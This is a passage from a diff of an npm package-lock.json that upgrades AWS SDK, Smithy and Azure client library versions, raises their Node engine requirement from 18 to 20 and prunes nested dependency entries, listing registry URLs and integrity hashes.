"^4.2.0", + "@smithy/util-body-length-node": "^4.2.1", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", + "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/core": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.758.0.tgz", - "integrity": "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/core": "^3.1.5", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/property-provider": "^4.0.1", - "@smithy/protocol-http": "^5.0.1", - "@smithy/signature-v4": "^5.0.1", - "@smithy/smithy-client": "^4.1.6", - "@smithy/types": "^4.1.0", - "@smithy/util-middleware": "^4.0.1", - "fast-xml-parser": "4.4.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/middleware-host-header": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.734.0.tgz", - "integrity": "sha512-LW7RRgSOHHBzWZnigNsDIzu3AiwtjeI2X66v+Wn1P1u+eXssy1+up4ZY/h+t2sU4LU36UvEf+jrZti9c6vRnFw==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/middleware-logger": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.734.0.tgz", - "integrity": "sha512-mUMFITpJUW3LcKvFok176eI5zXAUomVtahb9IQBwLzkqFYOrMJvWAvoV4yuxrJ8TlQBG8gyEnkb9SnhZvjg67w==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.734.0.tgz", - "integrity": "sha512-CUat2d9ITsFc2XsmeiRQO96iWpxSKYFjxvj27Hc7vo87YUHRnfMfnc8jw1EpxEwMcvBD7LsRa6vDNky6AjcrFA==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.758.0.tgz", - "integrity": "sha512-iNyehQXtQlj69JCgfaOssgZD4HeYGOwxcaKeG6F+40cwBjTAi0+Ph1yfDwqk2qiBPIRWJ/9l2LodZbxiBqgrwg==", - "dependencies": { - "@aws-sdk/core": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@aws-sdk/util-endpoints": "3.743.0", - "@smithy/core": "^3.1.5", - "@smithy/protocol-http": "^5.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/region-config-resolver": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.734.0.tgz", - "integrity": "sha512-Lvj1kPRC5IuJBr9DyJ9T9/plkh+EfKLy+12s/mykOy1JaKHDpvj+XGy2YO6YgYVOb8JFtaqloid+5COtje4JTQ==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/types": "^4.1.0", - "@smithy/util-config-provider": "^4.0.0", - "@smithy/util-middleware": "^4.0.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/types": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.734.0.tgz", - "integrity": "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg==", - "dependencies": { - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/util-endpoints": { - "version": "3.743.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.743.0.tgz", - "integrity": "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "@smithy/util-endpoints": "^3.0.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.734.0.tgz", - "integrity": "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng==", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/nested-clients/node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.758.0.tgz", - "integrity": "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw==", - "dependencies": { - "@aws-sdk/middleware-user-agent": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/nested-clients/node_modules/@smithy/is-array-buffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz", - "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", + "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", + "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" }, @@ -5337,11 +4763,12 @@ } }, "node_modules/@aws-sdk/nested-clients/node_modules/@smithy/util-buffer-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz", - "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", + "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", + "license": "Apache-2.0", "dependencies": { - "@smithy/is-array-buffer": "^4.0.0", + "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -5349,11 +4776,12 @@ } }, "node_modules/@aws-sdk/nested-clients/node_modules/@smithy/util-utf8": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz", - "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", + "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", + "license": "Apache-2.0", "dependencies": { - "@smithy/util-buffer-from": "^4.0.0", + "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -5361,19 +4789,19 @@ } }, "node_modules/@aws-sdk/region-config-resolver": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.957.0.tgz", - "integrity": "sha512-V8iY3blh8l2iaOqXWW88HbkY5jDoWjH56jonprG/cpyqqCnprvpMUZWPWYJoI8rHRf2bqzZeql1slxG6EnKI7A==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.3.tgz", + "integrity": "sha512-v4J8qYAWfOMcZ4MJUyatntOicTzEMaU7j3OpkRCGGFSL2NgXQ5VbxauIyORA+pxdKZ0qQG2tCQjQjZDlXEC3Ow==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/config-resolver": "^4.4.6", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/s3-request-presigner": { @@ -5439,121 +4867,34 @@ } }, "node_modules/@aws-sdk/token-providers": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.958.0.tgz", - "integrity": "sha512-UCj7lQXODduD1myNJQkV+LYcGYJ9iiMggR8ow8Hva1g3A/Na5imNXzz6O67k7DAee0TYpy+gkNw+SizC6min8Q==", + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.980.0.tgz", + "integrity": "sha512-1nFileg1wAgDmieRoj9dOawgr2hhlh7xdvcH57b1NnqfPaVlcqVJyPc6k3TLDUFPY69eEwNxdGue/0wIz58vjA==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/nested-clients": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/nested-clients": "3.980.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/token-providers/node_modules/@aws-sdk/nested-clients": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.958.0.tgz", - "integrity": "sha512-/KuCcS8b5TpQXkYOrPLYytrgxBhv81+5pChkOlhegbeHttjM69pyUpQVJqyfDM/A7wPLnDrzCAnk4zaAOkY0Nw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", - "@smithy/util-base64": "^4.3.0", - "@smithy/util-body-length-browser": "^4.2.0", - "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", - "@smithy/util-utf8": "^4.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/token-providers/node_modules/@smithy/is-array-buffer": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", - "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/token-providers/node_modules/@smithy/util-buffer-from": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", - "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^4.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/token-providers/node_modules/@smithy/util-utf8": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", - "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^4.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/types": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.957.0.tgz", - "integrity": "sha512-wzWC2Nrt859ABk6UCAVY/WYEbAd7FjkdrQL6m24+tfmWYDNRByTJ9uOgU/kw9zqLCAwb//CPvrJdhqjTznWXAg==", + "version": "3.973.1", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.1.tgz", + "integrity": "sha512-DwHBiMNOB468JiX6+i34c+THsKHErYUdNQ3HexeXZvVn4zouLjgaS4FejiGSi2HyBuzuyHg7SuOPmjSvoU9NRg==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/util-arn-parser": { @@ -5569,19 +4910,19 @@ } }, "node_modules/@aws-sdk/util-endpoints": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.957.0.tgz", - "integrity": "sha512-xwF9K24mZSxcxKS3UKQFeX/dPYkEps9wF1b+MGON7EvnbcucrJGyQyK1v1xFPn1aqXkBTFi+SZaMRx5E5YCVFw==", + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.980.0.tgz", + "integrity": "sha512-AjKBNEc+rjOZQE1HwcD9aCELqg1GmUj1rtICKuY8cgwB73xJ4U/kNyqKKpN2k9emGqlfDY2D8itIp/vDc6OKpw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", - "@smithy/util-endpoints": "^3.2.7", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/util-format-url": { @@ -5624,31 +4965,31 @@ } }, "node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.957.0.tgz", - "integrity": "sha512-exueuwxef0lUJRnGaVkNSC674eAiWU07ORhxBnevFFZEKisln+09Qrtw823iyv5I1N8T+wKfh95xvtWQrNKNQw==", + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.3.tgz", + "integrity": "sha512-JurOwkRUcXD/5MTDBcqdyQ9eVedtAsZgw5rBwktsPTN7QtPiS2Ld1jkJepNgYoCufz1Wcut9iup7GJDoIHp8Fw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.957.0.tgz", - "integrity": "sha512-ycbYCwqXk4gJGp0Oxkzf2KBeeGBdTxz559D41NJP8FlzSej1Gh7Rk40Zo6AyTfsNWkrl/kVi1t937OIzC5t+9Q==", + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.972.4.tgz", + "integrity": "sha512-3WFCBLiM8QiHDfosQq3Py+lIMgWlFWwFQliUHUqwEiRqLnKyhgbU3AKa7AWJF7lW2Oc/2kFNY4MlAYVnVc0i8A==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/types": "^4.11.0", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/types": "^3.973.1", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" }, "peerDependencies": { "aws-crt": ">=1.0.0" @@ -5660,22 +5001,23 @@ } }, "node_modules/@aws-sdk/xml-builder": { - "version": "3.734.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.734.0.tgz", - "integrity": "sha512-Zrjxi5qwGEcUsJ0ru7fRtW74WcTS0rbLcehoFB+rN1GRi2hbLcFaYs4PwVA5diLeAJH0gszv3x4Hr/S87MfbKQ==", + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.4.tgz", + "integrity": "sha512-0zJ05ANfYqI6+rGqj8samZBFod0dPPousBjLEqg8WdxSgbMAkRgLyn81lP215Do0rFJ/17LIXwr7q0yK24mP6Q==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.1.0", + "@smithy/types": "^4.12.0", + "fast-xml-parser": "5.3.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws/lambda-invoke-store": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.1.1.tgz", - "integrity": "sha512-RcLam17LdlbSOSp9VxmUu1eI6Mwxp+OwhD2QhiSNmNCzoDb0EeUXTD2n/WbcnrAYMGlmf05th6QYq23VqvJqpA==", + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.3.tgz", + "integrity": "sha512-oLvsaPMTBejkkmHhjf09xTgk71mOqyr/409NKhRIL08If7AhVfUsJhVsx386uJaqNd42v9kWamQ9lFbkoC2dYw==", "license": "Apache-2.0", "engines": { "node": ">=18.0.0" @@ -5707,59 +5049,49 @@ } }, "node_modules/@azure/core-auth": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.9.0.tgz", - "integrity": "sha512-FPwHpZywuyasDSLMqJ6fhbOK3TqUdviZNF8OqRGA4W5Ewib2lEEZ+pBsYcBa88B2NGO/SEnYPGhyBqNlE8ilSw==", + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@azure/core-auth/-/core-auth-1.10.1.tgz", + "integrity": "sha512-ykRMW8PjVAn+RS6ww5cmK9U2CyH9p4Q88YJwvUslfuMmN98w/2rdGRLPqJYObapBCdzBVeDgYWdJnFPFb7qzpg==", "license": "MIT", "dependencies": { - "@azure/abort-controller": "^2.0.0", - "@azure/core-util": "^1.11.0", + "@azure/abort-controller": "^2.1.2", + "@azure/core-util": "^1.13.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/core-client": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.9.3.tgz", - "integrity": "sha512-/wGw8fJ4mdpJ1Cum7s1S+VQyXt1ihwKLzfabS1O/RDADnmzVc01dHn44qD0BvGH6KlZNzOMW95tEpKqhkCChPA==", + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@azure/core-client/-/core-client-1.10.1.tgz", + "integrity": "sha512-Nh5PhEOeY6PrnxNPsEHRr9eimxLwgLlpmguQaHKBinFYA/RU9+kOYVOQqOrTsCL+KSxrLLl1gD8Dk5BFW/7l/w==", "license": "MIT", "dependencies": { - "@azure/abort-controller": "^2.0.0", - "@azure/core-auth": "^1.4.0", - "@azure/core-rest-pipeline": "^1.9.1", - "@azure/core-tracing": "^1.0.0", - "@azure/core-util": "^1.6.1", - "@azure/logger": "^1.0.0", + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-rest-pipeline": "^1.22.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/core-http-compat": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@azure/core-http-compat/-/core-http-compat-2.0.1.tgz", - "integrity": "sha512-xpQZz/q7E0jSW4rckrTo2mDFDQgo6I69hBU4voMQi7REi6JRW5a+KfVkbJCFCWnkFmP6cAJ0IbuudTdf/MEBOQ==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@azure/core-http-compat/-/core-http-compat-2.3.1.tgz", + "integrity": "sha512-az9BkXND3/d5VgdRRQVkiJb2gOmDU8Qcq4GvjtBmDICNiQ9udFmDk4ZpSB5Qq1OmtDJGlQAfBaS4palFsazQ5g==", + "license": "MIT", "dependencies": { - "@azure/abort-controller": "^1.0.4", - "@azure/core-client": "^1.3.0", - "@azure/core-rest-pipeline": "^1.3.0" + "@azure/abort-controller": "^2.1.2", + "@azure/core-client": "^1.10.0", + "@azure/core-rest-pipeline": "^1.22.0" }, "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@azure/core-http-compat/node_modules/@azure/abort-controller": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@azure/abort-controller/-/abort-controller-1.1.0.tgz", - "integrity": "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw==", - "dependencies": { - "tslib": "^2.2.0" - }, - "engines": { - "node": ">=12.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/core-lro": { @@ -5778,80 +5110,59 @@ } }, "node_modules/@azure/core-paging": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@azure/core-paging/-/core-paging-1.5.0.tgz", - "integrity": "sha512-zqWdVIt+2Z+3wqxEOGzR5hXFZ8MGKK52x4vFLw8n58pR6ZfKRx3EXYTxTaYxYHc/PexPUTyimcTWFJbji9Z6Iw==", + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/@azure/core-paging/-/core-paging-1.6.2.tgz", + "integrity": "sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA==", + "license": "MIT", "dependencies": { - "tslib": "^2.2.0" + "tslib": "^2.6.2" }, "engines": { - "node": ">=14.0.0" + "node": ">=18.0.0" } }, "node_modules/@azure/core-rest-pipeline": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.19.1.tgz", - "integrity": "sha512-zHeoI3NCs53lLBbWNzQycjnYKsA1CVKlnzSNuSFcUDwBp8HHVObePxrM7HaX+Ha5Ks639H7chNC9HOaIhNS03w==", + "version": "1.22.2", + "resolved": "https://registry.npmjs.org/@azure/core-rest-pipeline/-/core-rest-pipeline-1.22.2.tgz", + "integrity": "sha512-MzHym+wOi8CLUlKCQu12de0nwcq9k9Kuv43j4Wa++CsCpJwps2eeBQwD2Bu8snkxTtDKDx4GwjuR9E8yC8LNrg==", "license": "MIT", "dependencies": { - "@azure/abort-controller": "^2.0.0", - "@azure/core-auth": "^1.8.0", - "@azure/core-tracing": "^1.0.1", - "@azure/core-util": "^1.11.0", - "@azure/logger": "^1.0.0", - "http-proxy-agent": "^7.0.0", - "https-proxy-agent": "^7.0.0", + "@azure/abort-controller": "^2.1.2", + "@azure/core-auth": "^1.10.0", + "@azure/core-tracing": "^1.3.0", + "@azure/core-util": "^1.13.0", + "@azure/logger": "^1.3.0", + "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@azure/core-rest-pipeline/node_modules/agent-base": { - "version": "7.1.3", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.3.tgz", - "integrity": "sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/@azure/core-rest-pipeline/node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" + "node": ">=20.0.0" } }, "node_modules/@azure/core-tracing": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.2.0.tgz", - "integrity": "sha512-UKTiEJPkWcESPYJz3X5uKRYyOcJD+4nYph+KpfdPRnQJVrZfk0KJgdnaAWKfhsBBtAf/D58Az4AvCJEmWgIBAg==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@azure/core-tracing/-/core-tracing-1.3.1.tgz", + "integrity": "sha512-9MWKevR7Hz8kNzzPLfX4EAtGM2b8mr50HPDBvio96bURP/9C+HjdH3sBlLSNNrvRAr5/k/svoH457gB5IKpmwQ==", "license": "MIT", "dependencies": { "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@azure/core-util": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/@azure/core-util/-/core-util-1.11.0.tgz", - "integrity": "sha512-DxOSLua+NdpWoSqULhjDyAZTXFdP/LKkqtYuxxz1SCN289zk3OG8UOpnCQAz/tygyACBtWp/BoO72ptK7msY8g==", + "version": "1.13.1", + "resolved": 